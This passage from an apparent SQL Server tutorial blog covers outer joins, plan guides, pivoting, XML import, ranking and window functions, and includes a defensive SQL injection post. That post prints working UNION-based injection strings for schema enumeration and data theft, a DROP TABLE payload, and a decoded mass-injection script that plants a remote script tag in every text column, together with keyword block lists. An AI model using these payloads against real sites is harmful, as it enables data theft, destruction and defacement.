INSERT INTO Customers (customer_nbr, customer_name)

VALUES(4, 'Donna Louis');

INSERT INTO Customers (customer_nbr, customer_name)

VALUES(5, 'Greg Barrow');

INSERT INTO Customers (customer_nbr, customer_name)

VALUES(6, 'Richard Douglas');



-- Add foreign key for Loans

ALTER TABLE Loans

ADD CONSTRAINT fk_loans_customers

FOREIGN KEY (customer_nbr)

REFERENCES Customers(customer_nbr);

CASE #1: Predicates on the non-preserved table attributes

The first request is to retrieve list of all customers and only the total personal loan amount (if any) they have. The following query seems to describe the request properly:

SELECT C.customer_name,

       SUM(COALESCE(L.loan_amount, 0)) AS total

FROM Customers AS C

LEFT OUTER JOIN Loans AS L

  ON C.customer_nbr = L.customer_nbr

WHERE L.loan_type = 'P'

GROUP BY C.customer_name

ORDER BY customer_name;

However, the results do not seem correct:

customer_name    total

---------------- --------

Donna Louis      1200.00

Jeff Davis       3000.00

Kevin Fox        2000.00

Peter Brown      1500.00

Customers Greg and Richard are missing from the output. To understand the problems let's run this step by step:

1). Cross join:

SELECT C.customer_name, L.loan_amount, L.loan_type

FROM Customers AS C

CROSS JOIN Loans AS L;

This returns Cartesian product (every possible combination of a row from the Customers table and a row from the Loans table).

2). ON predicates:

SELECT C.customer_name, L.loan_amount, L.loan_type

FROM Customers AS C

INNER JOIN Loans AS L

   ON C.customer_nbr = L.customer_nbr;

This results in the following output:

customer_name   loan_amount  loan_type

--------------- ------------ ---------

Peter Brown     1500.00      P

Jeff Davis      1000.00      P

Peter Brown     5000.00      B

Kevin Fox       2000.00      P

Donna Louis     1200.00      P

Kevin Fox       4000.00      B

Greg Barrow     3500.00      B

Jeff Davis      2000.00      P

At this stage only rows that match based on the predicate for customer match are included.

3). Add outer rows:

SELECT C.customer_name, L.loan_amount, L.loan_type

FROM Customers AS C

LEFT OUTER JOIN Loans AS L

  ON C.customer_nbr = L.customer_nbr;

The query returns this result set:

customer_name   loan_amount   loan_type

--------------- ------------- ---------

Peter Brown     1500.00       P

Peter Brown     5000.00       B

Jeff Davis      1000.00       P

Jeff Davis      2000.00       P

Kevin Fox       2000.00       P

Kevin Fox       4000.00       B

Donna Louis     1200.00       P

Greg Barrow     3500.00       B

Richard Douglas NULL          NULL

Here the outer rows are added, resulting in adding back a row for customer Richard, who has no loans at all and was excluded in the prior phase when the ON clause predicates were applied.

4). WHERE predicates:

SELECT C.customer_name, L.loan_amount, L.loan_type

FROM Customers AS C

LEFT OUTER JOIN Loans AS L

  ON C.customer_nbr = L.customer_nbr

WHERE L.loan_type = 'P';

This result set is the base for the results in the first query attempt:

customer_name   loan_amount  loan_type

--------------- ------------ ---------

Peter Brown     1500.00      P

Jeff Davis      1000.00      P

Kevin Fox       2000.00      P

Donna Louis     1200.00      P

Jeff Davis      2000.00      P

Now it is very clear that the predicate in the WHERE clause filters the NULL for loan type for customer Richard, and customer Greg is excluded because he has only business loans. Incorrectly placing the predicate in the WHERE clause turns the outer join to inner join.

To correct this query it only requires to move the predicate on loan type from the WHERE clause to the ON clause:

SELECT C.customer_name,

       SUM(COALESCE(L.loan_amount, 0)) AS total

FROM Customers AS C

LEFT OUTER JOIN Loans AS L

  ON C.customer_nbr = L.customer_nbr

 AND L.loan_type = 'P'

GROUP BY C.customer_name

ORDER BY customer_name;

This results in correct result set listing all customers and the total personal loan amount.

customer_name    total

---------------- --------

Donna Louis      1200.00

Greg Barrow      0.00

Jeff Davis       3000.00

Kevin Fox        2000.00

Peter Brown      1500.00

Richard Douglas  0.00

CASE #2: Predicates on the preserved table attributes

Let's look at another example demonstrating how filtering affect the preserved table attributes. The request is to retrieve the total loan amount for customer Richard Douglas, even if Richard does not have any loans at all. Since it is required to return always Richard's account info, the following query seems to satisfy the request:

SELECT C.customer_name,

       SUM(COALESCE(L.loan_amount, 0)) AS total

FROM Customers AS C

LEFT OUTER JOIN Loans AS L

  ON C.customer_nbr = L.customer_nbr

 AND C.customer_name = 'Richard Douglas'

GROUP BY C.customer_name

ORDER BY customer_name;

However, the result set returns information for all customers:

customer_name   total

--------------- -----

Donna Louis     0.00

Greg Barrow     0.00

Jeff Davis      0.00

Kevin Fox       0.00

Peter Brown     0.00

Richard Douglas 0.00

As explained earlier, the reason for that is that outer rows are added back after the outer join predicates are applied, resulting in adding back all other customers. To get only Richard's loan information requires moving the predicate filtering on customer name to the WHERE clause:

SELECT C.customer_name,

       SUM(COALESCE(L.loan_amount, 0)) AS total

FROM Customers AS C

LEFT OUTER JOIN Loans AS L

  ON C.customer_nbr = L.customer_nbr

WHERE C.customer_name = 'Richard Douglas'

GROUP BY C.customer_name

ORDER BY customer_name;

This results in correctly returning only Richard's loan information:

customer_name    total

---------------- -----

Richard Douglas  0.00

Plan Freezing

2009-06-02T23:38:00.007-04:00

Plan freezing refers to forcing a plan for specific query. There are different reasons to freeze a plan, one is to provide plan stability for solving parameter sniffing issues.

This functionality was first introduced in SQL Server 2005 via using the USE PLAN query hint or using a plan guide to force a plan. However, using this feature was rather difficult with the requirement to capture the exact SQL statement. That was normally done using SQL Profiler trace or via querying the Dynamic Management Objects. Another issue was that changing the metadata (like dropping an index that affects the plan) resulted in error when trying to use the plan guide.

SQL Server 2008 added an array of enhancements. First, it simplified the mechanism to create a plan guide from plan handle via the sp_create_plan_guide_from_handle stored procedure. This eliminates the need to extract and match the SQL statement. Another enhancement is that if the metadata changes then the plan guide is silently skipped and the query execution continues with whatever execution plan is best.

Below is example of utilizing the new capabilities in SQL Server 2008 to freeze a plan.

-- Clear procedure cache

DBCC FREEPROCCACHE;





GO



-- First query run to get plan for freezing

SET STATISTICS XML ON;





EXEC sp_executesql   

N'SELECT orderid, customerid, orderdate, shippeddate

FROM Orders

WHERE customerid = N''CACYK''';

   

SET STATISTICS XML OFF;



GO



-- Create plan quide based on plan 

DECLARE @plan_handle VARBINARY(64);





SELECT @plan_handle = plan_handle 

FROM sys.dm_exec_query_stats AS S 

CROSS APPLY sys.dm_exec_sql_text(S.sql_handle) AS T

WHERE text LIKE '%Order%';





EXEC sp_create_plan_guide_from_handle 'PlanGuide2008', @plan_handle = @plan_handle;





GO





-- Check that plan guide was created

SELECT * FROM sys.plan_guides;





GO



-- Execute and verify UsePlan="1" and PlanGuideName="PlanGuide2008" 

-- in the XML plan output 



SET STATISTICS XML ON;





EXEC sp_executesql   

N'SELECT orderid, customerid, orderdate, shippeddate

FROM Orders

WHERE customerid = N''CACYK''';        

   

SET STATISTICS XML OFF;





GO





EXEC sp_control_plan_guide N'DROP', N'PlanGuide2008';

SQL Injection

2009-03-27T22:53:00.006-04:00

What is SQL Injection? Here is the definition from Wikipedia (http://en.wikipedia.org/wiki/SQL_injection):

"SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks."

Why another article on SQL Injection? Because no matter how much is written about it, developers still produce code that is susceptible to SQL injection attacks. The following is a dissection of a typical Web site vulnerable to SQL injection, with step by step example of what could happen, and protection methods.

Disclaimer: before even starting, it is important to emphasize – the solution to SQL injection is parameterization! Period! But... what if the client API does not support parameterization? Or the project is so large that changing all occurrences of bad code can result in massive code rewrite which may not be feasible at the moment? This is where some methods like string filtering fit in.

The example in this article uses the SQL Server sample database AdventureWorks (http://www.codeplex.com/SqlServerSamples).

Let's start with a very trivial example of product search. The implementation is in C#:

string cmdStr = @"SELECT Name, ProductNumber, Color

                  FROM Production.Product 

                  WHERE Name LIKE '%" + SearchText.Text + "%'";



using (SqlConnection conn = new SqlConnection(connStr))

using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))

{

DataTable dtProducts = new DataTable();



sda.Fill(dtProducts);



return dtProducts.DefaultView;

}

How simple and innocent! A couple lines of code and our search function is done. We simply let the user type any search criteria and create a dynamic query to search all products.

A good user may type "ball" in the search text box and get the following results:

Name                   ProductNumber    Color

-------------------    ---------------  -------

BB Ball Bearing        BE-2349    

Bearing Ball           BA-8327  

Headset Ball Bearings  BE-2908

But here comes someone who has not so good intentions. Instead of searching for "ball", the bad guy may type:

ZZZ' UNION SELECT name, CAST(id AS VARCHAR(10)), '' FROM sysobjects WHERE xtype ='U' --

Clever! The guy noted on the original search that there are three columns returned and formed a query to union all user tables from the current database to the result set. First, the value ZZZ is added as search criteria, then the query to extract the user tables is injected, and finally the comment section at the end trims the reminder of the original query. Now the result looks as follows:

Name                ProductNumber     Color 

-----------------   ----------------  -------

Address             53575229   

AddressType         101575400   

AWBuildVersion      149575571   

BillOfMaterials     181575685   

Contact             309576141   

ContactCreditCard   405576483   

ContactType         437576597

Once the user tables are known, then next step could be the following search string:

ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Address' --

This time the search results return the columns information for the Address user table:

Name               ProductNumber     Color 

----------------   ----------------  --------

AddressID          int               Person 

AddressLine1       nvarchar          Person 

AddressLine2       nvarchar          Person 

City               nvarchar          Person 

ModifiedDate       datetime          Person 

PostalCode         nvarchar          Person 

rowguid            uniqueidentifier  Person 

StateProvinceID    int               Person

Going one step further, the malicious user can start extracting data:

ZZZ' UNION SELECT AddressLine1, City, PostalCode FROM Person.Address --

This results in listing the address data from the Address table:

Name                            ProductNumber          Color 

-----------------------------   ---------------------  --------

#500-75 O'Connor Street         Ottawa                 K4B 1S2 

#9900 2700 Production Way       Burnaby                V5A 4X1 

00, rue Saint-Lazare            Dunkerque              59140 

02, place de Fontenoy           Verrieres Le Buisson   91370 

035, boulevard du Montparnasse  Verrieres Le Buisson   91370

So far the SQL injection attacker has been only exploring data. But things can get really unpleasant if the attacker starts updating or deleting data. Or even dropping tables. The following search text will drop a table with credit card info (if it exists):

ZZZ'; DROP TABLE CreditCardInfo --

All this should convince every developer that SQL injection is a very serious threat that should not be taken lightly.

Solutions

Handling SQL injection can be done both on the client and the server side. The following techniques will demonstrate how to accomplish that.

Client Side Filtering

The client APIs normally provide a variety of methods to filter the user input. It could include using regular expressions, limiting the size of the search arguments, filtering for dangerous keywords, etc. Here is example of creating a black list of keywords that will be filtered from the user input:

public static string[] blackList = 

       {"--",";--",";","/*","*/","@@","@",

        "char","nchar","varchar","nvarchar",

        "alter","begin","cast","create","cursor",

        "declare","delete","drop","end","exec","execute",

        "fetch","insert","kill","open",

        "select", "sys","sysobjects","syscolumns",

        "table","update"};



private bool CheckInput(string SearchText)

{

for (int i = 0; i < blackList.Length; i++)

      {

if ((SearchText.IndexOf(blackList[i], 

                 StringComparison.OrdinalIgnoreCase) >= 0))

{

HttpContext.Current.Response.Redirect("~/Error.aspx");  

return false;

}

}

return true;

}

The CheckInput function verifies the user input for any of the words on the black list and if found redirects to an error page. Then the search function looks like this:

string cmdStr = @"SELECT Name, ProductNumber, Color

                  FROM Production.Product 

                  WHERE Name LIKE '%" + SearchText.Text + "%'";



if(CheckInput(SearchText.Text))

{

using (SqlConnection conn = new SqlConnection(connStr))

using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))

{

DataTable dtProducts = new DataTable();



sda.Fill(dtProducts);



return dtProducts.DefaultView;

}

}

else

{

DataTable dtProducts = new DataTable();

return dtProducts.DefaultView;

}

Parameterization

Most client APIs (including .NET) support parameterization of queries. This allows embedding the user input as parameters. The parameters are placeholders for user entered value which is replaced at execution time. That way the user cannot inject SQL code as the whole user entry is treated as value for the parameter, not as string appended to the query. Again, parameterization is the best solution for SQL injection attacks.

Here is how the same search code will look like with parameterized query (for simplicity here we use a query, but this could be a stored procedure):

string cmdStr = @"SELECT Name, ProductNumber, Color

                  FROM Production.Product 

                  WHERE Name LIKE '%' + @SearchText + '%'";



using (SqlConnection conn = new SqlConnection(connStr))

using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))

{

DataTable dtProducts = new DataTable();



SqlParameter parm = sda.SelectCommand.Parameters.Add("@SearchText",

                          SqlDbType.VarChar, 50);

parm.Value = SearchText.Text;



sda.Fill(dtProducts);



return dtProducts.DefaultView;

}

Attempts to enter the same malicious search text will result in to output as there is no product with such name.

Server Side Filtering

Filtering can be implemented on the server side, very similar to the client side black list. Here is a fragment of code that can be added to be beginning of stored procedures to verify the search string entered by the user:

IF   UPPER(@SearchText) LIKE UPPER(N'%0x%')

  OR UPPER(@SearchText) LIKE UPPER(N'%;%')

  OR UPPER(@SearchText) LIKE UPPER(N'%''%')

  OR UPPER(@SearchText) LIKE UPPER(N'%--%')

  OR UPPER(@SearchText) LIKE UPPER(N'%/*%*/%')

  OR UPPER(@SearchText) LIKE UPPER(N'%EXEC %')

  OR UPPER(@SearchText) LIKE UPPER(N'%xp[_]%')

  OR UPPER(@SearchText) LIKE UPPER(N'%sp[_]%')

  OR UPPER(@SearchText) LIKE UPPER(N'%SELECT %')

  OR UPPER(@SearchText) LIKE UPPER(N'%INSERT %')

  OR UPPER(@SearchText) LIKE UPPER(N'%UPDATE %')

  OR UPPER(@SearchText) LIKE UPPER(N'%DELETE %')

  OR UPPER(@SearchText) LIKE UPPER(N'%TRUNCATE %')

  OR UPPER(@SearchText) LIKE UPPER(N'%CREATE %')

  OR UPPER(@SearchText) LIKE UPPER(N'%ALTER %')

  OR UPPER(@SearchText) LIKE UPPER(N'%DROP %')

BEGIN

  RAISERROR('Possible SQL Injection attempt.', 16, 1);

  RETURN;

END

Of course, ultimately the search can be implemented as stored procedure using a parameter, and without dynamic SQL:

CREATE PROCEDURE ProductSearch

 @SearchText VARCHAR(200)

AS

 SELECT Name, ProductNumber, Color 

 FROM Production.Product 

 WHERE Name LIKE '%' + @SearchText + '%';

Secondary Injection Attacks

Recently there has been a new wave of SQL injection attacks. Those utilize a delayed action technique. The way to exploit the web site is the same – looking for any non-parameterized and non-filtered queries and injection a portion of code that will be executed by SQL Server. However, in this attack the code simply loops through all user tables and inserts some HTML or JavaScript code to all string columns. This has dual effect – you data is no longer what you think it is, and then if this data is used to be displayed on a Web page then the HTML or JavaScript code will become part of your Web page.

Here are the steps to illustrate this. Normally attackers search for URLs that pass user input directly via an URL query string. That makes is very easy to inject SQL code as part of the URL. It could look like this (abbreviated):

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);--

After the encoding is removed and the string is passed to SQL Server, it looks like this:

DECLARE @S NVARCHAR(4000); 

SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000)); 

EXEC(@S);--

Decoding the hex value reveals the actual SQL code that will be executed:

DECLARE @T varchar(255),@C varchar(255) 

DECLARE Table_Cursor CURSOR FOR 

select a.name,b.name from sysobjects a,syscolumns b 

where a.id=b.id and a.xtype='u' and 

(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C 

WHILE(@@FETCH_STATUS=0) BEGIN 

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+

']))+''<script src=http://www.211796*.net/f****p.js></script>''') 

FETCH NEXT FROM  Table_Cursor INTO @T,@C 

END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

In short, the script loops though all tables in the database and looks for string columns, and then appends the HTML or JavaScript code.

One very unpleasant effect of this attack is that normally pages with such content are treated by major search engines as treats, and are very likely to me considered malicious and removed from indexes.

The same techniques described earlier can be used to prevent secondary SQL injection attacks.

Tools

Here are some tools that can be used to help with SQL Injection attacks:

- Microsoft Source Code Analyzer for SQL Injection
New static analysis tool that identifies SQL injection vulnerabilities in ASP source code and suggests fixes. Enables customers to address the vulnerability at the source.
http://support.microsoft.com/kb/954476

- URLScan 3.0
Updated version of the IIS tool that acts as a site filter by blocking specific HTTP requests. Can be used to block malicious requests used in this attack.
http://learn.iis.net/page.aspx/473/using-urlscan

- Scrawlr
New scanning tool from Hewlett Packard that scans websites looking for SQL injection vulnerabilities in URL parameters. http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/24/finding-sql-injection-with-scrawlr.aspx

- SQLInjectionFinder
Tool to help determine .asp pages targeted by recent SQL Injection attacks.
http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&ReleaseId=13436

Unpivoting Multiple Columns

2009-02-28T17:00:00.002-05:00

Unpivoting is the process of normalizing data. In earlier post I discussed unpivoting a single column. This demonstration is to show how to unpivot multiple columns.

The task is to normalize the following denormalized data, which represents product sales volumes by quarter:

product_nbr qtr1   sales_qtr1  qtr2   sales_qtr2  qtr3   sales_qtr3  qtr4   sales_qtr4

----------- ------ ----------- ------ ----------- ------ ----------- ------ -----------

1           2008Q1 100         2008Q2 20          2008Q3 15          2008Q4 10

2           2008Q1 80          2008Q2 15          2008Q3 20          2008Q4 10

3           2008Q1 70          2008Q2 5           2008Q3 10          2008Q4 15

Normalized data set should look like this:

product_nbr qtr    sales

----------- ------ -----------

1           2008Q1 100

1           2008Q2 20

1           2008Q3 15

1           2008Q4 10

2           2008Q1 80

2           2008Q2 15

2           2008Q3 20

2           2008Q4 10

3           2008Q1 70

3           2008Q2 5

3           2008Q3 10

3           2008Q4 15

The first method uses CROSS JOIN with table with numbers (needs one number for each quarter) and CASE expressions to select the appropriate value (quarter or sales volume) for each quarter.

SELECT product_nbr, 

       CASE n

            WHEN 1 THEN qtr1

            WHEN 2 THEN qtr2

            WHEN 3 THEN qtr3

            WHEN 4 THEN qtr4

       END AS qtr,

       CASE n

            WHEN 1 THEN sales_qtr1

            WHEN 2 THEN sales_qtr2

            WHEN 3 THEN sales_qtr3

            WHEN 4 THEN sales_qtr4

       END AS sales

FROM QuarterlySales AS S

CROSS JOIN 

(SELECT 1 UNION 

 SELECT 2 UNION

 SELECT 3 UNION

 SELECT 4) AS Nums(n);

Alsmost seems natural that we should be able to do the same much easier using the UNPIVOT operator (introduced in SQL Server 2005). However, one of the limitations of the UNPIVOT operator is that it works only with a single column. But because SQL Server allows multiple table operators in the FROM clause, we can use two UNPIVOT operators. The catch is that the second UNPIVOT operator applies to the virtual table results from the first unpivot operator. That requires using a little trick to extract and match the quarter from the results of each UNPIVOT operator in order to produce the final result. Here is the query to unpivot using the UNPIVOT operator.

SELECT product_nbr, qtr, sales

FROM 

 (SELECT product_nbr, 

         qtr1, sales_qtr1, 

         qtr2, sales_qtr2, 

         qtr3, sales_qtr3,

         qtr4, sales_qtr4

  FROM QuarterlySales) AS S

UNPIVOT

 (qtr FOR qtrx IN (qtr1, qtr2, qtr3, qtr4)) AS U1

UNPIVOT

 (sales FOR sales_qtrx IN (sales_qtr1, sales_qtr2, 

                           sales_qtr3, sales_qtr4)) AS U2

WHERE RIGHT(sales_qtrx, 1) = RIGHT(qtrx, 1);

Pivoting on Multiple Columns

2009-01-31T19:00:00.004-05:00

Pivoting data on more than one column is not a common request. But there are times when it is a very useful technique for reporting purposes. Here is one example to demonstrate different methods to handle that.

The goal is to report product data by pivoting columns with value and quantity for each product based on year. Here is the script to create the table and insert sample data.

CREATE TABLE Products (

 product VARCHAR(30),

 market_year INT,

 value INT,

 quantity INT,

 CONSTRAINT pk_products

 PRIMARY KEY (product, market_year));

INSERT INTO Products VALUES('Corn', 2003, 100, 20);
INSERT INTO Products VALUES('Corn', 2004, 200, 25);

INSERT INTO Products VALUES('Corn', 2005, 150, 30);

INSERT INTO Products VALUES('Corn', 2006, 150, 10);

The request is to produce the following output:

product v2003 q2003 v2004 q2004 v2005 q2005 v2006 q2006

------- ----- ----- ----- ----- ----- ----- ----- -----

Corn    100   20    200   25    150   30    150   10

As usual, the first suspect for pivoting solution is the CASE function. Using CASE expressions is the most flexible method to manipulate data for pivoting. There is not much difference when pivoting a single or multiple columns. Here is the solution with CASE:

SELECT product,

       SUM(CASE WHEN market_year = 2003 THEN value ELSE 0 END) AS v2003,

       SUM(CASE WHEN market_year = 2003 THEN quantity ELSE 0 END) AS q2003,

       SUM(CASE WHEN market_year = 2004 THEN value ELSE 0 END) AS v2004,

       SUM(CASE WHEN market_year = 2004 THEN quantity ELSE 0 END) AS q2004,

       SUM(CASE WHEN market_year = 2005 THEN value ELSE 0 END) AS v2005,

       SUM(CASE WHEN market_year = 2005 THEN quantity ELSE 0 END) AS q2005,

       SUM(CASE WHEN market_year = 2006 THEN value ELSE 0 END) AS v2006,

       SUM(CASE WHEN market_year = 2006 THEN quantity ELSE 0 END) AS q2006

FROM Products

GROUP BY product;

Next, let's look at the PIVOT operator that was added in SQL Server 2005. The PIVOT operator has a few limitations, and one of them is that it supports pivoting only on a single column. However, T-SQL allows to specify multiple PIVOT operators in the FROM clause, that way providing a solution for pivoting on multiple columns. There is one catch: the second PIVOT consumes the temporary result set output of the first PIVOT operator. Because of that the year column is not available (since it is used as pivoting column in the first PIVOT) and there is a need to define a virtual column that replicates the values for the year. Also, since the first PIVOT operator uses the year values as column names, the new virtual column subtracts 2000 from the year value to generate different column names for the second PIVOT operator. Here is the query using two PIVOT operators:

SELECT product,

       MAX([2003]) AS v2003,

       MAX([3]) AS q2003,

       MAX([2004]) AS v2004,

       MAX([4]) AS q2004,

       MAX([2005]) AS v2005,

       MAX([5]) AS q2005,

       MAX([2006]) AS v2006,

       MAX([6]) AS q2006

FROM (SELECT product, market_year, 

             market_year - 2000 AS market_year2,

             SUM(value) AS value, 

             SUM(quantity) AS quantity

      FROM Products

      GROUP BY product, market_year) AS T

      PIVOT

     (SUM(value) FOR market_year IN 

     ([2003], [2004], [2005], [2006])) AS P1

      PIVOT

     (SUM(quantity) FOR market_year2 IN 

     ([3], [4], [5], [6])) AS P2

GROUP BY product;

In this particular case there is more elegant solution using a single PIVOT operator. With little math the value and the quantity can be combined into single column and then after the pivoting split back to two separate columns. Here is the solution using a single PIVOT operator:

SELECT product,

       [2003] / 1000 AS v2003,

       [2003] % 1000 AS q2003,

       [2004] / 1000 AS v2004,

       [2004] % 1000 AS q2004,

       [2005] / 1000 AS v2005,

       [2005] % 1000 AS q2005,

       [2006] / 1000 AS v2006,

       [2006] % 1000 AS q2006

FROM (SELECT product, market_year, 

             value * 1000 + quantity AS value

      FROM Products) AS T

      PIVOT

     (SUM(value) FOR market_year IN 

     ([2003], [2004], [2005], [2006])) AS P;

Dynamic Pivoting

2008-12-24T16:33:00.003-05:00

SQL Server 2005 added the PIVOT operator which makes creating cross-tab queries very easy. However, as of this writing none of the SQL Server versions has built-in support for dynamic pivoting. The PIVOT operator only provides basic pivoting capabilities on a static list of values. In practice it is very often needed to perform this for dynamic list of values.

Here is one solution for dynamic pivoting that uses the ability in SQL Server 2005/2008 to concatenate row values using FOR XML PATH with blank element name. This method performs a query on the distinct values to pivot and creates a column list based on that. Then the resulting column list is used in a dynamic query utilizing the PIVOT operator and executed as dynamic SQL.

In this scenario the goal is to pivot order amounts by month.

-- Table with orders
CREATE TABLE Orders (
  order_id INT NOT NULL PRIMARY KEY,
  order_date DATETIME NOT NULL
             DEFAULT CURRENT_TIMESTAMP,
  amount DECIMAL(8, 2) NOT NULL DEFAULT 0
         CHECK (amount >= 0));
 
-- Sample data
INSERT INTO Orders 
(order_id, order_date, amount)
SELECT 1, '20070101', 10.50
UNION ALL
SELECT 2, '20070126', 12.50
UNION ALL
SELECT 3, '20070130', 12.00
UNION ALL
SELECT 4, '20070214', 13.75
UNION ALL
SELECT 5, '20070220', 10.00
UNION ALL
SELECT 6, '20070306', 15.00
UNION ALL
SELECT 7, '20070310', 17.50
UNION ALL
SELECT 8, '20070329', 20.00;
 
-- Build list of column values to pivot
DECLARE @cols NVARCHAR(1000);
SELECT @cols =
STUFF((SELECT N'],[' + year_month
       FROM (SELECT DISTINCT CONVERT(NCHAR(7), order_date, 126)
             FROM Orders) AS O(year_month)
       ORDER BY year_month
       FOR XML PATH('')
      ), 1, 2, '') + N']';
 
-- Build dynamic SQL query for pivoting   
DECLARE @sql NVARCHAR(2000);
SET @sql =
N'SELECT order_year, ' + @cols +
N'FROM (SELECT DATEPART(yyyy, order_date) AS order_year, ' +
             N'CONVERT(NCHAR(7), order_date, 126) AS year_month, ' +
             N'amount ' +
      N'FROM Orders) AS O ' +
N'PIVOT ' +
N'(SUM(amount) FOR year_month IN (' + @cols + N')) AS P;';
 
EXEC(@sql);
 
/*
 
Results:
 
order_year  2007-01  2007-02  2007-03
----------- -------- -------- --------
2007        35.00    23.75    52.50
 
*/

This query can be further improved by using the QUOTENAME function to prevent any possibility of SQL injection.

Import XML File to SQL Table

2008-11-14T21:10:00.002-05:00

Here is a brief example of importing an XML file into SQL Server table. This is accomplished by using the BULK option of OPENROWSET to load the file, and then utilizing the XQuery capabilities of SQL Server to parse the XML to normalized table format. This example requires SQL server 2005 or SQL Server 2008.

First, the following XML is saved to XML file C:\Products.xml.

<Products>
  <Product>
    <SKU>1</SKU>
    <Desc>Book</Desc>
  </Product>
  <Product>
    <SKU>2</SKU>
    <Desc>DVD</Desc>
  </Product>
  <Product>
    <SKU>3</SKU>
    <Desc>Video</Desc>
  </Product>
</Products>

Next, a table named Products is created to store the XML data.

CREATE TABLE Products(
 sku INT PRIMARY KEY,
 product_desc VARCHAR(30));

Finally, the following statement will load the XML file, parse the XML elements to columns, and insert into the Products table:

INSERT INTO Products (sku, product_desc) 
SELECT X.product.query('SKU').value('.', 'INT'),
       X.product.query('Desc').value('.', 'VARCHAR(30)')
FROM ( 
SELECT CAST(x AS XML)
FROM OPENROWSET(
     BULK 'C:\Products.xml',
     SINGLE_BLOB) AS T(x)
     ) AS T(x)
CROSS APPLY x.nodes('Products/Product') AS X(product);

Here are the results:

SELECT sku, product_desc 
FROM Products;
 
/*
 
Results:
 
sku         product_desc
----------- -------------
1           Book
2           DVD
3           Video
 
*/

Top N by Group

2008-11-12T12:25:00.000-05:00

It is a very common request to select the top N items per group. Examples are the top 2 sales agents per region, the last two orders per customer, etc. There are various techniques to accomplish this. On SQL Server 2005 and 2008 this normally involves CROSS APPLY, TOP, and the ranking functions.

Here are a couple examples of solving this problem utilizing the ranking functions in SQL Server 2005/2008. These methods are very simple and efficient, at the same time providing flexibility to manage ties.

CREATE TABLE Loans (
  loan_nbr INT NOT NULL PRIMARY KEY,
  loan_date DATETIME NOT NULL,
  loan_amount DECIMAL(12, 2) NOT NULL
              DEFAULT 0.0,
  customer_nbr INT NOT NULL,
  loan_type CHAR(1) NOT NULL
            DEFAULT 'P'
            CHECK (loan_type IN ('P',  -- personal
                                 'B')) -- business
  );
 
INSERT INTO Loans 
VALUES (1, '20080801', 12000.00, 2, 'P'),
       (2, '20080805', 15700.00, 1, 'B'),
       (3, '20080610', 12000.00, 3, 'P'),
       (4, '20080401', 5000.00, 1, 'P'),
       (5, '20080715', 25000.00, 4, 'B'),
       (6, '20080610', 25000.00, 5, 'P'),
       (7, '20080501', 1000.00, 6, 'P'),
       (8, '20080810', 6000.00, 7, 'B'),
       (9, '20080815', 2000.00, 8, 'B'),
       (10, '20080815', 1000.00, 9, 'P'),
       (11, '20080715', 5500.00, 10, 'P'),
       (12, '20080615', 1000.00, 11, 'B'),
       (13, '20080820', 6000.00, 12, 'P'),
       (14, '20080510', 28000.00, 6, 'B'),
       (15, '20080815', 2000.00, 10, 'P'),
       (16, '20080810', 1500.00, 8, 'P'),
       (17, '20080817', 10000.00, 10, 'B'),
       (18, '20080816', 2500.00, 9, 'P');   
 
-- Top 3 loans by loan type (no ties)
SELECT loan_nbr, loan_type, loan_amount, rk 
FROM (SELECT loan_nbr, loan_type, loan_amount,
             ROW_NUMBER() OVER(PARTITION BY loan_type
                               ORDER BY loan_amount DESC) AS rk
      FROM Loans) AS L
WHERE rk <= 3;
 
-- Top 3 loans by loan type (with ties)
SELECT loan_nbr, loan_type, loan_amount, rk 
FROM (SELECT loan_nbr, loan_type, loan_amount,
             DENSE_RANK() OVER(PARTITION BY loan_type
                               ORDER BY loan_amount DESC) AS rk
      FROM Loans) AS L
WHERE rk <= 3;
 
-- Latest loan for each customer
SELECT customer_nbr, loan_nbr, loan_type, loan_amount, loan_date
FROM (SELECT loan_nbr, loan_type, loan_amount, 
             customer_nbr, loan_date,
             ROW_NUMBER() OVER(PARTITION BY customer_nbr
                               ORDER BY loan_date DESC) AS rk
      FROM Loans) AS L
WHERE rk = 1;

Aggregate Window Functions

2008-11-11T18:50:00.002-05:00

The addition of the OVER clause in SQL Server was a great enhancement to the T-SQL language. Using the ranking functions has helped solve an array of problems in a very efficient manner. While there is a huge benefit of the ranking functions, it is often overlooked that the OVER clause supports now aggregate window functions. This means that the window aggregate function (SUM, AVG, COUNT, MIN, MAX) computes a value for each row from a result set derived from the window (partition). That opens an opportunity to solve problems using new methods.

Here are a couple examples to demonstrate using aggregate window functions with the OVER clause.

CREATE TABLE Loans (
  loan_nbr INT NOT NULL PRIMARY KEY,
  loan_date DATETIME NOT NULL,
  loan_amount DECIMAL(12, 2) NOT NULL
              DEFAULT 0.0,
  customer_nbr INT NOT NULL,
  loan_type CHAR(1) NOT NULL
            DEFAULT 'P'
            CHECK (loan_type IN ('P',  -- personal
                                 'B')) -- business
  );
 
INSERT INTO Loans 
VALUES (1, '20080801', 12000.00, 2, 'P'),
       (2, '20080805', 15700.00, 1, 'B'),
       (3, '20080610', 12000.00, 3, 'P'),
       (4, '20080401', 5000.00, 1, 'P'),
       (5, '20080715', 25000.00, 4, 'B'),
       (6, '20080610', 25000.00, 5, 'P'),
       (7, '20080501', 1000.00, 6, 'P'),
       (8, '20080810', 6000.00, 7, 'B'),
       (9, '20080815', 2000.00, 8, 'B'),
       (10, '20080815', 1000.00, 9, 'P'),
       (11, '20080715', 5500.00, 10, 'P'),
       (12, '20080615', 1000.00, 11, 'B'),
